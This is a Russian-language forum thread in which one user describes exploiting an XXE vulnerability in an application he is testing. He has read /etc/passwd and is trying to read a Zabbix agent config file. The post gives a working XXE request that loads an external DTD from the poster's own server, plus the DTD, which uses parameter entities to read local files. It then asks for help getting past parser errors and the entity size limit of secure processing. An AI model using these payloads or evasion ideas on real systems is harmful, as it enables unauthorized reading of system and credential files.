XXE инъекция

[robdollard]

Всем здравствуйте, проблема в следующем, была найдена уязвимость в тестируемом приложении XXE вообщем то все хорошо, с помощью нее можно прочитать например файл etc/passwd но интресной информации он не содержит, интересен файл etc/zabbix/zabbix_agent.conf
ну и некоторые другие, но проблема в том что если /etc/passwd читается без проблем то вот с этим файлом в частности возникли проблемы, вот что выдает парсер при попытке его прочитать

Error 400 Exception loading Request: The declaration for the entity "e1" must end with '>'.

Вот сам запрос

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM  "мой сервер/ext.dtd"> 
<foo>&e1;</foo>

вот файл ext.dtd

<!ENTITY % p1 SYSTEM "file:///etc/zabbix/zabbix_agentd.conf">
<!ENTITY % p2 "<<!ENTITY e1 SYSTEM 'file///%p1;'>">
%p2;

Я так полагаю ему не нравятся символы которые находятся в этом файле и он не хочет их пихать в ответ сервера. Но вот как это обойти. Может быть у кого то есть идеи по этому поводу? или кто то сталкивался с таким при эксплуатации это уязвимости?

 

[robdollard]

ну вообщем к сожалению так и не смог обойти, теперь появилась другая ошибка

>Error 400 Exception loading Request: JAXP00010003: The length of entity "%c" is "1 000 040" that exceeds the "1 000 000" limit set by "FEATURE_SECURE_PROCESSING&quo

Кто нибудь сталкивался? это защита MaxEntitySizeLimit от XML BOMB может быть можно сделать payload который бы определял какое количество байтов я хочу прочитать? Есть специалисты в XML?